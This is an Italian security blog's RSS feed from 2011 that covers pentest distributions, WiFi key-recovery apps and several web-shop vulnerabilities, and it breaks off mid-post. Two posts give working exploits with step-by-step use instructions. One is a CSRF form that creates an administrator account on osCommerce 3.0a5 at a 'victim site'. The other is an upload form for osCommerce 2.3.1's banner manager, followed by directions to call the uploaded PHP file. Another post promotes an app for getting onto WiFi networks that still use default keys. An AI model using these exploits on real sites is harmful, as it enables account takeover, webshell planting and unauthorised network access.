			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/backbox.jpg" rel="lightbox[2730]" title="backbox"><img class="alignleft size-thumbnail wp-image-2731" title="backbox" src="http://www.capn3m0.org/wp-content/uploads/2011/05/backbox-150x55.jpg" alt="BackBox Linux, lalternativa italiana a BackTrack" width="150" height="55" /></a>Qualche giorno fa abbiamo recensito la nuova release di <a href="http://www.capn3m0.org/backtrack-5-revolution-android.html"><strong>BackTrack</strong></a>, la versione 5, che da anni è la distribuzione più utilizzata e completa per chi si occupa di <strong>sicurezza informatica</strong>. Da qualche mese, grazie all&#8217;ottimo lavoro di <a href="http://raffaele.backbox.org/" target="_blank">Raffaele Forte</a> e Simone Margaritelli aka <a href="http://www.evilsocket.net/" target="_blank">evilsocket</a>, abbiamo una nuova distribuzione dedicata alla sicurezza chiamata <a href="http://www.backbox.org" target="_blank"><strong>BackBox Linux</strong></a>.</p>
<p>Rilasciata nel gennaio scorso promette già una nuova versione, la 2.01, per il prossimo Dicembre 2011.</p>
<p><strong>BackBox Linux</strong> è basata sul kernel <strong>Ubuntu 10.04 LTS</strong> e ciò garantisce performance e, cosa più importante, supporto e aggiornamenti da parte del Team Ubuntu. Utilizza inoltre l&#8217;interfaccia <strong>XFCE</strong> che è veloce e leggera garantendo un ridotto consumo delle risorse e la possibilità di funzionare su Hardware ormai datato. All&#8217;inizio erano stati inseriti repository <strong>OSWAP WTE</strong> mentre nella versione attualmente rilasciata <strong>BackBox</strong> ha i propri repository su <strong>Launchpad</strong>. Attualmente sono presenti circa <a href="http://wiki.backbox.org/Tools.html" target="_blank"><strong>100 tools di sicurezza</strong></a> più che sufficienti per realizzare <strong>pentest</strong> sotto ogni punto di vista (network, applicativo, web, etc..) e grazie al gestore dei pacchetti Synaptic sarà possibile aggiungerne (o rimuoverne) altri con molta facilità.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/backbox-menu.preview.png" rel="lightbox[2730]" title="backbox-menu.preview"><img class="aligncenter size-medium wp-image-2733" title="backbox-menu.preview" src="http://www.capn3m0.org/wp-content/uploads/2011/05/backbox-menu.preview-300x225.png" alt="BackBox Linux, lalternativa italiana a BackTrack" width="300" height="225" /></a>La prima versione è <strong>disponibile sia per sistemi a 32bit sia a 64bit</strong> e, per essere una new entry non ha nulla da invidiare a BackTrack e dimostra di essere una validissima alternativa.</p>
<p>Potete scaricare la vostra distribuzione di <strong>BackBox Linux</strong> dalla pagina di <a href="http://www.backbox.org/content/download" target="_blank"><strong>Download Ufficiale</strong></a>.</p>
<p>A <a href="http://www.youtube.com/user/opensoluzioni" target="_blank"><strong>questo link</strong></a>, invece, potrete vedere i video del <strong>Canale YouTube di <a href="http://www.opensoluzioni.it/public/" target="_blank">OpenSoluzioni</a></strong>, l&#8217;azienda di Raffaele Forte, dove vengono pubblicati video tutorial sull&#8217;utilizzo e l&#8217;installazione di <strong>BackBox Linux</strong>.</p>
<p>Consiglio a tutti di provarla (io l&#8217;ho già messa nel mio portatile a fianco di BackTrack5), soprattutto perché è una distro tutta italiana!!</p>
<p>Complimenti a Raffaele e Simone!</p>
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		<title>[EXPLOIT] &#8211; osCommerce v3.0a5 Multiple Vulnerabilities</title>
		<link>http://www.capn3m0.org/exploit-oscommerce-v3.0a5-multiple-vulnerabilities.html</link>
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		<pubDate>Fri, 20 May 2011 19:14:17 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
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		<category><![CDATA[osCommerce 3]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerabilità]]></category>
		<category><![CDATA[xsrf]]></category>

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		<description><![CDATA[Seguendo la scia di notizie degli ultimi tempi che han portato alla luce gravi vulnerabilità per le ultime versioni di OsCommerce (2.3.1) e ZenCart (1.3.9h) non poteva mancare all&#8217;appello anche l&#8217;ultimissima alpha release osCommerce 3.0.a5. Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/osCommerceLogo.jpg" rel="lightbox[2725]" title="osCommerceLogo"><img class="alignleft size-thumbnail wp-image-2726" title="osCommerceLogo" src="http://www.capn3m0.org/wp-content/uploads/2011/05/osCommerceLogo-150x137.jpg" alt="[EXPLOIT]   osCommerce v3.0a5 Multiple Vulnerabilities" width="150" height="137" /></a>Seguendo la scia di notizie degli ultimi tempi che han portato alla luce <strong>gravi vulnerabilità</strong> per le ultime versioni di <strong><a href="http://www.capn3m0.org/exploit-oscommerce-2.3.1-remote-file-upload-vulnerability.html">OsCommerce (2.3.1)</a> e<a href="http://www.capn3m0.org/exploit-zencart-1.3.9h-multiple-vulnerabilities.html"> ZenCart (1.3.9h)</a></strong> non poteva mancare all&#8217;appello anche l&#8217;ultimissima alpha release <strong>osCommerce 3.0.a5</strong>.</p>
<p>Per gli sviluppatori di OsCommerce è davverò un brutto periodo dato che in neanche un mese tutti le versioni attualmente &#8220;stabili&#8221; sono state bucate da molteplici vulnerabilità. Nella release specifica, che ripetiamo si tratta di una alpha, sono state individuate vulnerabilità di tipo <strong>Xss, Full Path Disclosure, Local File Inclusion e XSRF</strong>.</p>
<p>La<strong> Full Path Disclosure</strong> consiste nell&#8217;interrogare alcuni file del Template di OsCommerce che, andando in errore,<strong> mostrano a video la full path</strong> della loro posizione sul Server. Con questa sola informazione si può fare poco ma, anche in questo caso, se unita ad altri tipi di attacchi diventa una utile informazione. La <strong>XSS permette di iniettare codice JavaScript </strong>sfruttando una falla del file &#8220;products.php&#8221; mentre la <strong>Local File Inclusion</strong> consente di richiamare file presenti sul Server sfruttando la procedura di disinstallazione moduli del Cms che non verifica opportunamente i parametri passati e permette di accettare in input qualsiasi path raggiungibile.</p>
<p>Anche in questo caso c&#8217;è una <strong>falla più grave </strong>delle altre e a mio avviso è la <strong>XSRF</strong> che permette di inviare comandi all&#8217;applicativo senza che questi vengano verificati in alcun modo. Nel caso specifico <strong>sarà possibile creare un nuovo Admin sull&#8217;OsCommerce</strong>.</p>
<p>Basterà creare una pagina &#8220;.html&#8221; contenente il seguente codice:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;html&gt;
&lt;body&gt;
&lt;form action=&quot;http://&lt;sito vittima&gt;/admin/index.php?administrators&amp;action=save&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;user_name&quot; value=&quot;&lt;nomeutente&gt;&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;user_password&quot; value=&quot;&lt;password&gt;&quot;&gt;
&lt;input type=&quot;text&quot; name=&quot;modules[]&quot; value=&quot;0?&gt;
&lt;input type=&quot;hidden&quot; name=&quot;subaction&quot; value=&quot;confirm&quot;/&gt;
&lt;input type=&quot;submit&quot; value=&quot;Save&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></div></div>

<p>Ovviamente dovrete sostituire i seguenti parametri:</p>
<p><strong>&lt;sito vittima</strong>&gt; con il dominio del sito in cui si vuole creare l&#8217;account</p>
<p><strong>&lt;nomeutente&gt;</strong> con il nome utente del nuovo Admin</p>
<p><strong>&lt;password&gt;</strong> con la password da associare al nuovo Admin</p>
<p>Una volta creata la pagina richiamatela dal vostro Browser e cliccate su &#8220;Save&#8221;.</p>
<p>Se tutto è andato a buon fine accedendo all&#8217;url:</p>
<p><cite>http://&lt;sito vittima&gt;/admin/</cite></p>
<p><strong>potrete loggarvi come Admin</strong> con i dati appena inseriti.</p>
<p>Per informazioni dettagliate vi rimando al link del <strong>Dr. Alberto Fontanella</strong> autore dell’articolo.</p>
<p><a href="http://ictsec.wordpress.com/exploits/oscommerce-v3-0a5-multiple-vulnerabilities/" target="_blank">osCommerce v3.0a5 [ Multiple Vulnerabilities ]</a></p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>[EXPLOIT] &#8211; ZenCart 1.3.9h Multiple Vulnerabilities</title>
		<link>http://www.capn3m0.org/exploit-zencart-1.3.9h-multiple-vulnerabilities.html</link>
		<comments>http://www.capn3m0.org/exploit-zencart-1.3.9h-multiple-vulnerabilities.html#comments</comments>
		<pubDate>Fri, 20 May 2011 17:37:19 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[Arbitrary File Upload]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack zencart]]></category>
		<category><![CDATA[oscommerce]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vulnerabilità]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[zencart]]></category>
		<category><![CDATA[zencart 1.3.9h]]></category>

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		<description><![CDATA[E&#8217; ormai consuetudine che dopo l&#8217;individuazione di una nuova falla per OsCommerce a catena vengano individuate le stesse (o quasi) falle per ZenCart, altro noto Cms derivato dallo stesso OsCommerce. La versione vulnerabile è l&#8217;ultima disponibile ossia la 1.3.9h e presenta vulnerabilità di vario tipo: Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/zencart_logo.jpg" rel="lightbox[2723]" title="zencart_logo"><img class="alignleft size-thumbnail wp-image-2724" title="zencart_logo" src="http://www.capn3m0.org/wp-content/uploads/2011/05/zencart_logo-150x88.jpg" alt="[EXPLOIT]   ZenCart 1.3.9h Multiple Vulnerabilities" width="150" height="88" /></a>E&#8217; ormai consuetudine che dopo l&#8217;individuazione di una <a href="http://www.capn3m0.org/exploit-oscommerce-2.3.1-remote-file-upload-vulnerability.html"><strong>nuova falla</strong></a> per OsCommerce a catena vengano individuate le stesse (o quasi) falle per<a href="http://www.zen-cart.com/" target="_blank"> <strong>ZenCart</strong></a>, altro noto Cms derivato dallo stesso OsCommerce.</p>
<p>La versione vulnerabile è l&#8217;ultima disponibile ossia la <strong>1.3.9h</strong> e presenta vulnerabilità di vario tipo: <strong>Full Path Disclosure, Reflected XSS, Stored XSS e Arbitrary File Upload</strong>.</p>
<p>La vulnerabilità <strong>Full Path Disclosure</strong> permette, se la gestione degli errori è configurata per mostrarli a video, di<strong> conoscere la path assoluta</strong> dell&#8217;applicativo. Di per sé non è una falla che consente di effettuare alcun tipo di azione ma l&#8217;informazione che si ottiene potrebbe essere utile se unita ad attacchi che vanno a scrivere sul FileSystem o similari. Le due <strong>XSS</strong>, invece, non affliggono l&#8217;attuale 1.3.9h ma <strong>tutte le versioni precedenti</strong>. Le vulnerabilità sono localizzate nel campo &#8220;Quantità&#8221; del carrello che permette l<strong>&#8216;injection di codice XSS</strong> e nell&#8217;Area Amministrativa &#8220;Location/Taxes&#8221;. Per quest&#8217;ultima, quindi, si presume che si abbia già l&#8217;accesso Admin.</p>
<p>L&#8217;ultima vulnerabilità, la più grave, riguarda invece il <strong>componente Banner (banner_manager.php)</strong> che, così come per OsCommerce, permette di <strong>effettuare l&#8217;upload di files</strong> che verranno salvati nella cartella &#8220;images&#8221;.</p>
<p>Per informazioni dettagliate vi rimando al link del <strong>Dr. Alberto Fontanella</strong> autore dell&#8217;articolo.</p>
<p><a href="http://ictsec.wordpress.com/exploits/zen-cart-v-1-3-9h-multiple-vulnerabilities/" target="_blank">Zen Cart &lt;= v.1.3.9h [ Multiple Vulnerabilities ]</a></p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Le Iene &#8211; Servizio sull&#8217;hacking delle wifi</title>
		<link>http://www.capn3m0.org/le-iene-hacking-wifi.html</link>
		<comments>http://www.capn3m0.org/le-iene-hacking-wifi.html#comments</comments>
		<pubDate>Fri, 20 May 2011 10:03:59 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
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		<category><![CDATA[le iene]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[wardriving]]></category>

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		<description><![CDATA[ Il noto programma televisivo le Iene ha recentemente trasmetto un servizio sulla protezione delle reti Wireless dove è possibile visionare come sia possibile accedere ad una rete WiFi altrui utilizzando diverse metodologie di attacco ed una volta connessi visualizzare tutto il traffico di rete della vittima . I metodi descritti per accedere alla Wireless sono principalmente due: Attacco dizionario della password wireless tramite AirCrack-NG Recupero della password Wireless preimpostata dall&#8217;operatore telefonico Fastweb o Alice successivamente attraverso Wireshark è possibile analizzare il traffico di rete generato e sfruttare a proprio piacimento i dati catturati. E&#8217; possibile recuperare la chiave Wireless preimpostata attraverso uno dei tanti software da noi recensiti e visualizzabili nella sezione WPA Recovery compatibili con Windows, Unix, Mac e Dispositivi Mobili mentre per l&#8217;utilizzo del primo metodo è possibile consultare i nostri articoli su AirCrack-NG . Per chi volesse visualizzare il servizio integrale può accedere al sito di Mediaset Video , infine vi ricordiamo che l’ accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge art. 615-ter c.p. ]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/5449Schermata-2011-05-18-a-22.20.18.png" rel="lightbox[2633]" title="Image Schermata-2011-05-18-a-22.20.18.png"><img class="alignleft size-thumbnail wp-image-2634" title="Image Schermata-2011-05-18-a-22.20.18.png" src="http://www.capn3m0.org/wp-content/uploads/2011/05/5449Schermata-2011-05-18-a-22.20.18-150x150.png" alt="Le Iene   Servizio sullhacking delle wifi" width="150" height="150" /></a>Recentemente, come <a href="http://www.capn3m0.org/servizio-iene-sicurezza-informatica.html">già capitato</a> in passato, il programma televisivo <a href="http://www.iene.mediaset.it/" target="_blank"><strong>le Iene</strong></a> si è interessato dei temi informatici ed in particolare della <strong>sicurezza informatica</strong>. In questa occasione hanno dimostrato come sia semplice cracckare una rete wifi e, soprattutto e ben più grave, quanto sia facile<strong> rubare account e identità</strong> delle persone connesse alla rete.</p>
<p>Viviani, l&#8217;inviato delle Iene, insieme a due hacker in assetto da <strong>wardriving</strong> mostra in maniera non troppo dettagliata ma di facile comprensione a chiunque l&#8217;utilizzo di <a href="http://www.capn3m0.org/wireless-crack-aircrack-suite.html"><strong>Aircrack-NG</strong></a> per eseguire un bruteforce su una rete Wpa.</p>
<p>Una utile visione per chi vuole vedere e comprendere in grandi linee il funzionamento e la vulnerabilità delle reti WiFi disseminate per le nostre città.</p>
<p>Il video lo potete trovare a <a href="http://www.video.mediaset.it/video/iene/puntata/227136/viviani-haker-e-wifi.html" target="_blank"><strong>questo link</strong></a>.</p>
<p>Proteggete le vostre reti <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_wink.gif' alt="Le Iene   Servizio sullhacking delle wifi" class='wp-smiley' title="Le Iene   Servizio sullhacking delle wifi pics" /> </p>
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		<title>Wpa Tester anche su Android</title>
		<link>http://www.capn3m0.org/wpa-tester-su-android.html</link>
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		<pubDate>Fri, 20 May 2011 08:02:34 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[alice]]></category>
		<category><![CDATA[crack alice wpa]]></category>
		<category><![CDATA[crack fastweb wpa]]></category>
		<category><![CDATA[crack wifi]]></category>
		<category><![CDATA[crack wpa]]></category>
		<category><![CDATA[vodafone]]></category>
		<category><![CDATA[war driving]]></category>
		<category><![CDATA[wpa calculator]]></category>
		<category><![CDATA[wpa finder]]></category>
		<category><![CDATA[wpa tester]]></category>

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		<description><![CDATA[Dopo Wuppy e Wpa Finder per iPhone, Alice Wpa Calculator e  Wpa Tester per PC non poteva mancare anche la versione per il sempre più diffuso Android. L&#8217;applicazione si chiama Wpa Tester ed è stata sviluppata da Carlo Marinangeli che l&#8217;ha resa disponibile su YAAM (Yet Another Android Market) a questo link. Il funzionamento è [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/wpa-finder.png" rel="lightbox[2718]" title="wpa finder"><img class="alignleft size-thumbnail wp-image-2719" title="wpa finder" src="http://www.capn3m0.org/wp-content/uploads/2011/05/wpa-finder-150x150.png" alt="Wpa Tester anche su Android" width="150" height="150" /></a>Dopo<strong> <a href="http://www.capn3m0.org/wuppy-wpa-finder-apps-wifi-iphone.html">Wuppy e Wpa Finder per iPhone</a></strong>, <strong><a href="http://www.capn3m0.org/wifi-crack-alice-fastweb-wpa.html">Alice Wpa Calculator</a></strong> e  <strong><a href="http://www.capn3m0.org/wpa-tester-by-fr3nsis-1.5.html">Wpa Tester</a></strong> per PC non poteva mancare anche la versione per il sempre più diffuso <strong>Android</strong>.</p>
<p>L&#8217;applicazione si chiama <strong>Wpa Tester</strong> ed è stata sviluppata da Carlo Marinangeli che l&#8217;ha resa disponibile su <strong>YAAM</strong> (Yet Another Android Market) a <a href="http://yaam.mobi/app/?id=tester.wpa" target="_blank"><strong>questo link</strong></a>.</p>
<p>Il funzionamento è esattamente come gli altri applicativi testati e, quindi, una volta scansionate le reti WiFi dal vostro Smartphone o <strong>Tablet Android</strong> basterà selezionarne una e tentare la connessione. Se la rete avrà ancora la password standard impostata dal Provider <strong>permetterà di accedere e navigare liberamente</strong>.</p>
<p>Attualmente i Router sui quali è utilizzabile sono i seguenti: Alice Fastweb Vodafone Bbox BigPond Discus DLink DMAX Eircom Huawei JAZZTEL INFINITUM Infostrada O2Wireless Ono Otenet Orange privat SKY SpeedTouch Tecom Thomson Verizon Wifi Wlan YaCom</p>
<p>La versione minima necessaria alla corretta esecuzione è Andorid 1.6.</p>
<p>Buon divertimento</p>
<p><strong><span style="color: #ff0000;">AGGIORNAMENTO 27/11/2011</span></strong> &#8211; Le Wpa delle reti wireless Fastweb possono essere calcolate direttamente on line tramite il<a href="http://www.capn3m0.org/fastweb-wpa-calculator-online"><strong> tool Fastweb Wpa Calculator OnLine</strong></a>.</p>
<p><strong>N.B. </strong></p>
<p><strong>Ricordo che l’accesso abusivo ad un sistema informatico o telematico è un reato perseguibile a termine di legge (art. 615-ter c.p.).</strong></p>
<p><strong> Ricordo che la detenzione e la diffusione abusiva di codici di accesso a sistemi informatici o telematici è un reato penale perseguibile secondo la legge 615.</strong></p>
<p><strong>L’utilizzo di quanto esposto è da riferirsi a un test di sicurezza sulla propria rete o su una rete di cui il proprietario abbia espressamente dato il libero consenso al fine di giudicarne la sicurezza e porre rimedio ad eventuali vulnerabilità.</strong></p>
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		<title>BackTrack 5 Revolution e Android</title>
		<link>http://www.capn3m0.org/backtrack-5-revolution-android.html</link>
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		<pubDate>Thu, 19 May 2011 20:06:55 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[backtrack 5]]></category>
		<category><![CDATA[backtrack tablet pc]]></category>
		<category><![CDATA[penetration]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[sicurezza informatica]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web security]]></category>

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		<description><![CDATA[Poco più di una settimana fa è stata rilasciata l&#8217;attesissima Backtrack 5 codename Revolution, la distribuzione dedicata al pentesting e all&#8217;hacking per eccellenza. Per chi non la conoscesse si tratta di una versione di Linux realizzata dallo staff di Offensive-Security configurata e ottimizzata  per le attività di sicurezza informatica quali penetration test, sniffing, wifi hack [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/620cback_track_5.png" rel="lightbox[2707]" title="Image back_track_5.png"><img class="alignleft size-thumbnail wp-image-2708" title="Image back_track_5.png" src="http://www.capn3m0.org/wp-content/uploads/2011/05/620cback_track_5-150x150.png" alt="BackTrack 5 Revolution e Android" width="150" height="150" /></a>Poco più di una settimana fa è stata rilasciata l&#8217;attesissima<strong> <a href="http://www.backtrack-linux.org/backtrack/backtrack-5-release/" target="_blank">Backtrack 5 codename Revolution</a>, la distribuzione dedicata al pentesting e all&#8217;hacking per eccellenza</strong>.</p>
<p>Per chi non la conoscesse si tratta di una versione di Linux realizzata dallo staff di <a href="http://www.offensive-security.com/" target="_blank">Offensive-Security</a> configurata e ottimizzata  per le attività di sicurezza informatica quali penetration test, sniffing, wifi hack etc.</p>
<p>Sono presenti di default tutti i tools per mettere in atto le più note tecniche di hacking a qualsiasi livello, sia network che applicativo. Tra i più noti possiamo citare <strong>Metasploit, Aircrack-NG, WireShark, Ettercap, Nmap, John The Ripper e molti altri</strong> per un totale di 348 tools.</p>
<p>La nuova versione di BackTrack è basata sul performante <strong>Kernel Ubuntu Lucid LTS. 2.6.38</strong> ed è stata pensata per essere supportata su tutte le piattaforme (ARM, 32bit, 64bit). Integra inoltre 3 diverse interfacce grafiche così che ognuno possa scegliere quella che preferisce tra Gnome 4.6, KDE e FluxBox.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/offensive-security.jpg" rel="lightbox[2707]" title="offensive security"><img class="alignright size-thumbnail wp-image-2717" title="offensive security" src="http://www.capn3m0.org/wp-content/uploads/2011/05/offensive-security-150x150.jpg" alt="BackTrack 5 Revolution e Android" width="150" height="150" /></a>I tools presenti permettono, come detto, di eseguire tutti i tipi di scansione per attività di <strong>sicurezza informatica</strong>. Utilizzando <strong>BackTrack 5</strong> potrete effettuare verifiche alle applicazioni Web (Xss,Clickjacking, Sql Injection, etc), analisi delle reti e loro mappatura, verifica di vulnerabilità di un host, verifica e hack delle reti wifi, pentesting report, reverse engineering, sniffing di varie tipologie di pacchetti, <strong>crack/decrypt delle password</strong> e molti altri ancora.</p>
<p>La novità nella novità è che ad appena 8 giorni dal rilascio sul sito <a href="http://forum.xda-developers.com/showthread.php?t=1079898" target="_blank"><strong>XDA</strong></a> è disponibile la versione lite (700 Mb) di <strong>BackTrack 5 per piattaforma Android</strong>. Si tratta di un&#8217;iniziativa personale di alcuni membri dello staff che tengono a precisare di non garantire né il funzionamento né eventuali danni ai dispositivi. Certo è che se si riuscisse a passare BackTrack su un Tablet i wardrivers potrebbero avere vita molto più facile&#8230;</p>
<p>Nell&#8217;attesa possiamo leggere <strong>questo interessante <a href="http://www.offensive-security.com/backtrack/backtrack-5-on-a-motorola-xoom/" target="_blank">articolo</a></strong> dove viene dimostrato il corretto funzionamento di <strong>BackTrack5 su un <a href="http://www.capn3m0.org/motorola-xoom-disponibile-in-italia.html">Motorola Xoom</a></strong>.</p>
<p>Per il momento il succo è che qualsiasi cosa vogliate testare nel campo della &#8220;<strong>sicurezza informatica</strong>&#8221; necessitate sicuramente di un PC con installata <strong>BackTrack 5</strong>.</p>
<p><a href="http://www.backtrack-linux.org/downloads/" target="_blank"><strong>DOWNLOAD</strong></a></p>
<p>Il video di presentazione:</p>
<p><iframe src="http://player.vimeo.com/video/23347352?title=0&amp;byline=0&amp;portrait=0&amp;color=ff9933" frameborder="0" width="400" height="225"></iframe></p>
<p><a href="http://vimeo.com/23347352">BackTrack 5 &#8211; Penetration Testing Distribution</a> from <a href="http://vimeo.com/offsec">Offensive Security</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
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		<title>[EXPLOIT] &#8211; OsCommerce 2.3.1 Remote File Upload Vulnerability</title>
		<link>http://www.capn3m0.org/exploit-oscommerce-2.3.1-remote-file-upload-vulnerability.html</link>
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		<pubDate>Thu, 19 May 2011 18:31:22 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[authentication bypass]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack oscommerce]]></category>
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		<category><![CDATA[osCommerce 2.3.1]]></category>
		<category><![CDATA[proof of concept]]></category>
		<category><![CDATA[remote file upload]]></category>
		<category><![CDATA[vulnerabilità]]></category>

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		<description><![CDATA[Come ricordete l&#8217;ultima volta che venne nominato l&#8217;ecommerce OsCommerce su questo sito era per segnalare una grave vulnerabilità presente in tutte le versioni. La falla era presente anche in diverse versioni di ZenCart in quanto derivato da OsCommerce stesso. A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato 2 nuove versioni: [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/oscommerce_logo.gif" rel="lightbox[2630]" title="oscommerce_logo"><img class="alignleft size-thumbnail wp-image-2631" title="oscommerce_logo" src="http://www.capn3m0.org/wp-content/uploads/2011/05/oscommerce_logo-150x114.gif" alt="[EXPLOIT]   OsCommerce 2.3.1 Remote File Upload Vulnerability" width="150" height="114" /></a>Come ricordete l&#8217;ultima volta che venne nominato l&#8217;ecommerce <a href="http://oscommerce.com/" target="_blank"><strong>OsCommerce</strong></a> su questo sito era per <a href="http://www.capn3m0.org/exploit-poc-oscommerce-2.2-rc2-authentication-bypass.html">segnalare</a> una <strong>grave vulnerabilità</strong> presente in tutte le versioni. La falla era presente anche in diverse versioni di ZenCart in quanto derivato da OsCommerce stesso.</p>
<p>A distanza di 2 anni i programmatori, dopo una lunga latitanza, hanno rilasciato <strong>2 nuove versioni</strong>: la <strong>2.3.1</strong> e la nuova <strong>3.0.1</strong>. Il rilascio delle due nuove versioni non ha avuto molto risalto e tra gli utilizzatori di questo applicativo pochi hanno provveduto ad aggiornare.</p>
<p>Lo scorso 14 Maggio, però, è stata scoperta una <strong>nuova falla</strong> (purtoppo molto simile alla precedente) che permette l&#8217;upload di files nella cartella &#8220;/images&#8221; senza dover utilizzare tecniche particolari o rubare i dati di Amministratore.</p>
<p><span id="more-2630"></span>Come riportato <a href="http://www.bugsearch.net/it/11838/oscommerce-231-bannermanagerphp-remote-file-upload-vulnerability.html" target="_blank"><strong>qui</strong></a> il componente Banner (<strong>banner_manager.php</strong>) della nuova versione 2.3.1 di OsCommerce soffre di una vulnerabilità che <strong>consente di uploadare files</strong> sul sito &#8220;vittima&#8221; semplicemente creando sul proprio PC una pagina html con il seguente codice:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;form name=”new_banner” action=”http://site/path/admin/banner_manager.php/login.php?action=insert” method=”post” enctype=”multipart/form-data”&gt;&lt;br&gt;
&lt;input type=”file” name=”banners_image”&gt;&lt;br&gt;
&lt;input name=”submit” value=” Save ” type=”submit”&gt;&lt;/form&gt;</pre></div></div>

<p>Basterà sostituire a &#8220;<strong>site/path</strong>&#8221; il dominio e l&#8217;eventuale sottocartella del sito basato su questo Cms e salvare il file in formato &#8220;.html&#8221;.</p>
<p>Apritelo con il vostro Browser e vi troverete davanti un form di upload file.</p>
<p>Scegliete il vostro file e fate l&#8217;upload; una volta terminata l&#8217;operazione potrete interrogare il file richiamando l&#8217;url nel seguente modo:</p>
<p>http://<strong>site/path</strong>/images/&lt;fileinviato.php&gt;</p>
<p>Analizzando alcuni casi di utilizzo di questa vulnerabilità ho riscontrato casi di <strong>iniezione di virus/malware</strong> come <a href="http://www.capn3m0.org/hack-cannot-redeclare-security_update.html">già riscontrato</a> sempre nel 2009.</p>
<p>Non appena avrò maggiori informazioni provvederò a tenervi aggiornati.</p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Google risolve grave problema di sicurezza su Android</title>
		<link>http://www.capn3m0.org/google-risolve-grave-problema-di-sicurezza-su-android.html</link>
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		<pubDate>Wed, 18 May 2011 21:02:52 +0000</pubDate>
		<dc:creator>Federico Raffaelli</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[android fix]]></category>
		<category><![CDATA[android security issue]]></category>
		<category><![CDATA[gingerbread 2.3.4]]></category>
		<category><![CDATA[google patch]]></category>
		<category><![CDATA[google-android]]></category>
		<category><![CDATA[Honeycomb 3.0]]></category>
		<category><![CDATA[wifi hack]]></category>

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		<description><![CDATA[Non sono passate nemmeno 24 ore da quando é stata scoperta una gravissima vulnerabilità di Android che Google é corsa ai ripari sviluppando un fix che verrà rilasciato via ota già dalle prossime ore. La vulnerabilità è particolarmente grave perchè colpisce piú del 99% dei device attivi, ne risultano immuni infatti solo le versioni Gingerbread [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2011/05/20110518-111359.jpg" rel="lightbox[2623]" title="android"><img class="alignleft size-thumbnail wp-image-2626" title="android" src="http://www.capn3m0.org/wp-content/uploads/2011/05/20110518-111359-150x150.jpg" alt="Google risolve grave problema di sicurezza su Android" width="150" height="150" /></a>Non sono passate nemmeno 24 ore da quando é stata scoperta una <strong>gravissima vulnerabilità</strong> di <strong>Android</strong> che <strong>Google</strong> é corsa ai ripari sviluppando un fix che verrà rilasciato via ota già dalle prossime ore.</p>
<p>La vulnerabilità è particolarmente grave perchè <strong>colpisce piú del 99% dei device</strong> attivi, ne risultano immuni infatti solo le versioni <strong>Gingerbread 2.3.4</strong> e <strong>Honeycomb 3.0 e 3.1</strong>.<br />
Per fortuna, in attesa di ricevere il fix nei prossimi giorni gli utenti potranno comunque proteggersi mettendo in pratica alcuni accorgimenti.<br />
